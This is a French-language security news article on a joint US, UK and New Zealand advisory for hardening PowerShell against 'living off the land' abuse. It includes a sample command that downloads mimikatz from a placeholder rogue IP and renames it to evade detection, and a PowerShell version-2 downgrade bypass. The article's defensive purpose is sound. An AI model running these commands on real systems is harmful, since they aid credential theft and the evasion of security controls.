Les agences de cybersécurité publient des recommandations pour sécuriser PowerShell

PowerShell est l’un des outils les plus couramment utilisés par les hackers dans les attaques dites « living off the land », au cours desquelles des acteurs malveillants utilisent les propres outils d’une organisation contre elle. Cette semaine, les agences américaines de cybersécurité se sont associées à leurs homologues du Royaume-Uni et de Nouvelle-Zélande pour proposer des recommandations afin que les organisations puissent utiliser PowerShell en toute sécurité. PowerShell est un outil en ligne de commande […]

Écrit par
Julien Maury
Julien Maury
Jun 24, 2022
5 minute read
eSecurity Planet Le contenu et les recommandations de produits sont indépendants de la rédaction. Nous pouvons gagner de l'argent lorsque vous cliquez sur des liens vers nos partenaires. En savoir plus

PowerShell est l’un des outils les plus couramment utilisés par les hackers dans les attaques dites « living off the land », au cours desquelles des acteurs malveillants utilisent les propres outils d’une organisation contre elle.

Cette semaine, les agences américaines de cybersécurité se sont associées à leurs homologues du Royaume-Uni et de Nouvelle-Zélande pour proposer des recommandations afin que les organisations puissent utiliser PowerShell en toute sécurité.

PowerShell est un outil en ligne de commande et un langage de script associé, construit sur le framework .NET. Initialement conçu pour Windows, Microsoft l’a publié en open source en 2016. Si la plupart des administrateurs l’utilisent pour appliquer des correctifs aux systèmes et exécuter des scripts, PowerShell est également un outil classique de l’arsenal des hackers ; les défenseurs et les pentesters doivent donc le maîtriser.

La Cybersecurity and Infrastructure Security Agency (CISA) des États-Unis a annoncé une fiche d’information conjointe sur la cybersécurité (CIS), élaborée par les autorités de cybersécurité des États-Unis, de Nouvelle-Zélande et du Royaume-Uni au sujet de PowerShell, dans l’espoir d’aider les défenseurs à détecter les abus de PowerShell tout en permettant ses utilisations légitimes.

La CISA, la NSA et leurs homologues britanniques et néo-zélandais invitent les utilisateurs et les administrateurs à consulter les recommandations, Conserver PowerShell : mesures à prendre et à adopter, un document PDF de 8 pages qui répertorie des mesures concrètes pour atténuer les attaques.

Voir les principaux outils de sécurité Active Directory

Comment les attaquants utilisent PowerShell

Les tactiques varient, mais les hackers obtiennent généralement un accès initial (par exemple après une attaque de phishing) avant d’utiliser PowerShell pour cibler Active Directory (AD) ou d’autres systèmes critiques.

Si les administrateurs ne restreignent pas les attributs, méthodes et fonctionnalités d’AD, les hackers peuvent voler des identifiants ou élever leurs privilèges afin d’exfiltrer des données ou d’installer des logiciels malveillants. À l’inverse, si PowerShell est trop limité ou désactivé, les administrateurs ne pourront pas « contribuer à la maintenance des systèmes, à l’analyse forensique, à l’automatisation et à la sécurité », selon le document de recommandations.

Advertisement

Les pentesters peuvent tenter diverses attaques à l’aide de PowerShell, car la console accepte pratiquement tout ce qui fonctionne avec cmd.exe, y compris les anciens scripts et les fichiers .bat. Une approche courante consiste toutefois à télécharger des ressources depuis une adresse IP externe :

Invoke-WebRequest “http://ROGUE_IP:80/mimikatz.exe” -OutFile “legitimateexec.exe”

Remarque : dans la commande ci-dessus, « mimikatz.exe » ne devient pas légitime une fois écrit sur le système ; il est simplement renommé pour échapper aux mécanismes de détection basiques (ce qui suffit malheureusement souvent).

Il s’agit d’un exemple très basique, mais dans des conditions réelles, les hackers peuvent dissimuler du code malveillant à l’aide de base64 ou d’une obfuscation plus sophistiquée.

Bien sûr, ce n’est pas la seule attaque possible. Il est possible d’énumérer les tâches planifiées, de répertorier les membres et les administrateurs, de récupérer les variables d’environnement, de lire l’historique, de contourner les politiques, de désactiver la surveillance, d’injecter du code malveillant en mémoire et d’accomplir des tâches plus complexes.

À lire également : Comment les hackers échappent à la détection

Comment les utilisateurs et les administrateurs peuvent sécuriser PowerShell

Certaines attaques PowerShell sont particulièrement difficiles à détecter. Les défenseurs peuvent utiliser des outils EDR ou d’autres produits de sécurité pour les atténuer.

Ces attaques PowerShell sont attrayantes pour les hackers, car elles permettent d’élever rapidement les privilèges dans les environnements permissifs. En d’autres termes, il s’agit d’un outil légitime qui peut donner accès aux systèmes locaux et distants du réseau.

Les utilisateurs et les administrateurs peuvent renforcer considérablement leurs systèmes en rejetant les scripts non signés et en limitant l’exécution des scripts.

Selon le document, ils devraient également désactiver et désinstaller les versions obsolètes de PowerShell afin de réduire la plupart des abus commis par les attaquants. En outre, les versions récentes disposent de fonctionnalités de sécurité intégrées renforcées pour la prévention, la détection et l’authentification, comme les fonctions de protection des identifiants de PowerShell.

La journalisation des activités de PowerShell est également recommandée. Par exemple, le module Deep Script Block Logging (DSBL) peut permettre d’enregistrer les commandes Invoke suspectes utilisées par les hackers lors de leurs attaques.

Advertisement

Si vous devez exécuter des tâches à distance, utilisez SSH, qui est sécurisé dès sa conception, contrairement à certains protocoles.

La capture d’écran ci-dessous répertorie les fonctionnalités incluses dans les versions récentes de PowerShell que les équipes de sécurité et les défenseurs peuvent utiliser :

Soyez attentifs aux techniques courantes de contournement

Vous pouvez consulter la stratégie d’exécution de PowerShell en saisissant :

Get-ExecutionPolicy

Elle est censée limiter ce qui peut ou non être exécuté, ce qui est particulièrement recommandé pour bloquer les scripts téléchargés depuis Internet. Il existe toutefois des techniques connues pour contourner les restrictions, modifier la stratégie d’exécution afin d’élever les privilèges, voire la désactiver si nécessaire.

Vous pouvez utiliser une commande comme la suivante pour modifier la stratégie :

Set-ExecutionPolicy $Policy -Force

Le problème est que la commande ci-dessus peut être exécutée par un utilisateur légitime pour effectuer des tâches d’administration ; il n’est donc pas possible de la désactiver sans inconvénient. Pour des raisons évidentes, tous les utilisateurs ne devraient pas être autorisés à l’exécuter. L’analyse comportementale peut aider à repérer ce type d’activité inhabituelle dans les comptes utilisateurs.

Par ailleurs, n’utilisez pas les fonctionnalités de sécurité de PowerShell à l’aveugle. Par exemple, AMSI (Anti-Malware Scan Interface) est une fonctionnalité de sécurité de PowerShell qui permet son intégration aux produits antimalware, mais elle repose sur une DLL (amsi.dll) qui peut être exploitée.

En outre, les attaquants ont appris comment fonctionnent les fonctionnalités de sécurité et comment les contourner. L’attaque par rétrogradation de PowerShell est un contournement courant utilisé pour supprimer des fonctionnalités de sécurité :

PowerShell -Version 2

Les hackers peuvent même utiliser un outil automatisé tel que Unicorn pour mener ces attaques.

À lire également : À quelques clics du désastre des données : l’état de la sécurité des entreprises

Aucune solution infaillible

Comme toujours, il n’existe pas de solution miracle. Utiliser les dernières versions de PowerShell et restreindre la stratégie d’exécution ne bloquera pas les attaques les plus sophistiquées, qui peuvent détourner des fonctionnalités natives tout en restant indétectables.

Cela reste toutefois une étape importante vers une meilleure sécurité, car de nombreux réseaux d’entreprise négligent la phase post-exploitation, ce qui facilite relativement l’énumération d’AD et d’autres abus pour les hackers. La défense en profondeur est efficace et il n’existe aucune raison valable de ne pas renforcer vos configurations.

Advertisement

À lire ensuite : Tester et évaluer les systèmes SIEM : analyse de Rapid7 InsightIDR

Julien Maury

eSecurity Planet contributor Julien Maury writes about penetration testing, code security, open source security and more. He is a backend developer, a mentor and a technical writer who enjoys sharing his knowledge and learning new concepts.

eSecurity Planet Logo

eSecurity Planet is a leading resource for IT professionals at large enterprises who are actively researching cybersecurity vendors and latest trends. eSecurity Planet focuses on providing instruction for how to approach common security challenges, as well as informational deep-dives about advanced cybersecurity topics.

Propriété de TechnologyAdvice. © 2026 TechnologyAdvice. Tous droits réservés

Divulgation publicitaire : Certains des produits qui apparaissent sur ce site proviennent d'entreprises dont TechnologyAdvice reçoit une compensation. Cette compensation peut influencer la façon dont les produits apparaissent sur ce site, notamment l'ordre dans lequel ils apparaissent. TechnologyAdvice n'inclut pas toutes les entreprises ou tous les types de produits disponibles sur le marché.